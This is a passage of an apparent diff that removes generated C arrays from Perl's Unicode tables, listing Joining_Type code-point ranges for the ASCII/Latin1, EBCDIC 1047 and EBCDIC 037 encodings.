0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17DE, - 0x180B, - 0x180E, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200B, - 0x200C, - 0x200E, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x206A, - 0x2070, - 0x20D0, - 0x20F1, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x302E, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA980, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEC, - 0xAAEE, - 0xAAF6, - 0xAAF7, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFEFF, - 0xFF00, - 0xFFF9, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x1107F, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x110BD, - 0x110BE, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x1133C, - 0x1133D, - 0x11340, - 0x11341, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115B2, - 0x115B6, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D167, - 0x1D16A, - 0x1D173, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_JT__T_invlist[] = { /* for EBCDIC 037 */ - 627, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xCA, - 0xCB, - 0x300, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x9BC, - 0x9BD, - 0x9C1, - 0x9C5, - 0x9CD, - 0x9CE, - 0x9E2, - 0x9E4, - 0xA01, - 0xA03, - 0xA3C, - 0xA3D, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xABC, - 0xABD, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB3C, - 0xB3D, - 0xB3F, - 0xB40, - 0xB41, - 0xB45, - 0xB4D, - 0xB4E, - 0xB56, - 0xB57, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBC0, - 0xBC1, - 0xBCD, - 0xBCE, - 0xC00, - 0xC01, - 0xC3E, - 0xC41, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC82, - 0xCBC, - 0xCBD, - 0xCBF, - 0xCC0, - 0xCC6, - 0xCC7, - 0xCCC, - 0xCCE, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD3B, - 0xD3D, - 0xD41, - 0xD45, - 0xD4D, - 0xD4E, - 0xD62, - 0xD64, - 0xDCA, - 0xDCB, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17DE, - 0x180B, - 0x180E, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200B, - 0x200C, - 0x200E, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x206A, - 0x2070, - 0x20D0, - 0x20F1, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x302E, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA980, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEC, - 0xAAEE, - 0xAAF6, - 0xAAF7, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFEFF, - 0xFF00, - 0xFFF9, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x1107F, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x110BD, - 0x110BE, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x1133C, - 0x1133D, - 0x11340, - 0x11341, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115B2, - 0x115B6, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D167, - 0x1D16A, - 0x1D173, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_JT__U_invlist[] = { /* for ASCII/Latin1 */ - 667, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAD, - 0xAE, - 0x300, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x620, - 0x621, - 0x622, - 0x660, - 0x66E, - 0x674, - 0x675, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x70F, - 0x74B, - 0x74D, - 0x780, - 0x7A6, - 0x7B1, - 0x7CA, - 0x7F4, - 0x7FA, - 0x7FB, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x840, - 0x856, - 0x859, - 0x85C, - 0x860, - 0x861, - 0x862, - 0x866, - 0x867, - 0x86B, - 0x8A0, - 0x8AD, - 0x8AE, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x9BC, - 0x9BD, - 0x9C1, - 0x9C5, - 0x9CD, - 0x9CE, - 0x9E2, - 0x9E4, - 0xA01, - 0xA03, - 0xA3C, - 0xA3D, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xABC, - 0xABD, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB3C, - 0xB3D, - 0xB3F, - 0xB40, - 0xB41, - 0xB45, - 0xB4D, - 0xB4E, - 0xB56, - 0xB57, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBC0, - 0xBC1, - 0xBCD, - 0xBCE, - 0xC00, - 0xC01, - 0xC3E, - 0xC41, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC82, - 0xCBC, - 0xCBD, - 0xCBF, - 0xCC0, - 0xCC6, - 0xCC7, - 0xCCC, - 0xCCE, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD3B, - 0xD3D, - 0xD41, - 0xD45, - 0xD4D, - 0xD4E, - 0xD62, - 0xD64, - 0xDCA, - 0xDCB, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17DE, - 0x1807, - 0x1808, - 0x180A, - 0x180E, - 0x1820, - 0x1878, - 0x1885, - 0x18AB, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200B, - 0x200C, - 0x200D, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x206A, - 0x2070, - 0x20D0, - 0x20F1, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x302E, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA840, - 0xA873, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA980, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEC, - 0xAAEE, - 0xAAF6, - 0xAAF7, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFEFF, - 0xFF00, - 0xFFF9, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AC0, - 0x10AC6, - 0x10AC7, - 0x10AC8, - 0x10AC9, - 0x10ACB, - 0x10ACD, - 0x10AE2, - 0x10AE4, - 0x10AE7, - 0x10AEB, - 0x10AF0, - 0x10B80, - 0x10B92, - 0x10BA9, - 0x10BAF, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x1107F, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x110BD, - 0x110BE, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x1133C, - 0x1133D, - 0x11340, - 0x11341, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115B2, - 0x115B6, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D167, - 0x1D16A, - 0x1D173, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_JT__U_invlist[] = { /* for EBCDIC 1047 */ - 667, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xCA, - 0xCB, - 0x300, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x620, - 0x621, - 0x622, - 0x660, - 0x66E, - 0x674, - 0x675, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x70F, - 0x74B, - 0x74D, - 0x780, - 0x7A6, - 0x7B1, - 0x7CA, - 0x7F4, - 0x7FA, - 0x7FB, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x840, - 0x856, - 0x859, - 0x85C, - 0x860, - 0x861, - 0x862, - 0x866, - 0x867, - 0x86B, - 0x8A0, - 0x8AD, - 0x8AE, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x9BC, - 0x9BD, - 0x9C1, - 0x9C5, - 0x9CD, - 0x9CE, - 0x9E2, - 0x9E4, - 0xA01, - 0xA03, - 